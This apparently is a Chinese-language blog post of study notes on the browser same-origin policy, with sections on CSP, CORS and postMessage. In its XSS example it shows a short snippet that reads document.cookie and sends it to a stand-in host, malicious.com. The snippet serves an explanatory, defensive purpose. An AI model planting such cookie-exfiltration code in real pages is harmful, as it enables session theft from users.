同源策略:为什么XMLHttpRequest不能跨域请求资源?

    科技2024-11-25  23

    目录

    什么是同源策略

    安全和便利性的权衡

    1. 页面中可以嵌入第三方资源

    2. 跨域资源共享和跨文档消息机制

    总结


    什么是同源策略

    如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。比如下面这两个 URL,它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。

    https://time.geekbang.org/?category=1 https://time.geekbang.org/?category=0

    浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。

    具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。

    第一个,DOM 层面。同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。

    两个页面,第一个页面和第二个页面是同源关系,从第一个页面打开第二个页面,我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:

    { let pdom = window.opener.document pdom.body.style.display = "none" }

    该代码中,对象 opener 就是指向第一个页面的 window 对象,我们可以通过操作 opener 来控制第一个页面中的 DOM。我们在第二个页面的控制台中执行上面那段代码,就成功地操作了第一个页面中的 DOM,将页面隐藏了。

    不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作 DOM 了。

    第二个,数据层面。同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。你可以自己试一下,这里我们就不做演示了。

    第三个,网络层面。同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。

    安全和便利性的权衡

    我们了解了同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。

    不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击,这两种攻击我们会在后续两篇文章中再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。

    1. 页面中可以嵌入第三方资源

    Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。

    所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。

    比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码:

    当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。

    除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:

    function onClick(){ let url = `http://malicious.com?cookie = ${document.cookie}` open(url) } onClick()

    在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。

    以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。

    2. 跨域资源共享和跨文档消息机制

    默认情况下,如果打开极客邦的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。

    为了解决这个问题,我们引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

    在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。

    总结

    同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。

    不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点:

    页面中可以引用第三方资源,不过这也暴露了很多诸如 XSS 的安全问题,因此又在这种开放的基础之上引入了 CSP 来限制其自由程度。

    使用 XMLHttpRequest 和 Fetch 都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。

    两个不同源的 DOM 是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信。

    此学习记录来自于极客时间专栏浏览器工作原理与实践,由于个人对这块内容比较感兴趣,所以花钱买了专栏,但看完总觉得什么都没记住,所以将一些重要内容记录下来。文中有老师课程中的原文和配图,已在课程留言区告知老师,如侵删。 如果对这块内容感兴趣,强烈建议去读一遍老师的课程,很有收获。

    Processed: 0.009, SQL: 8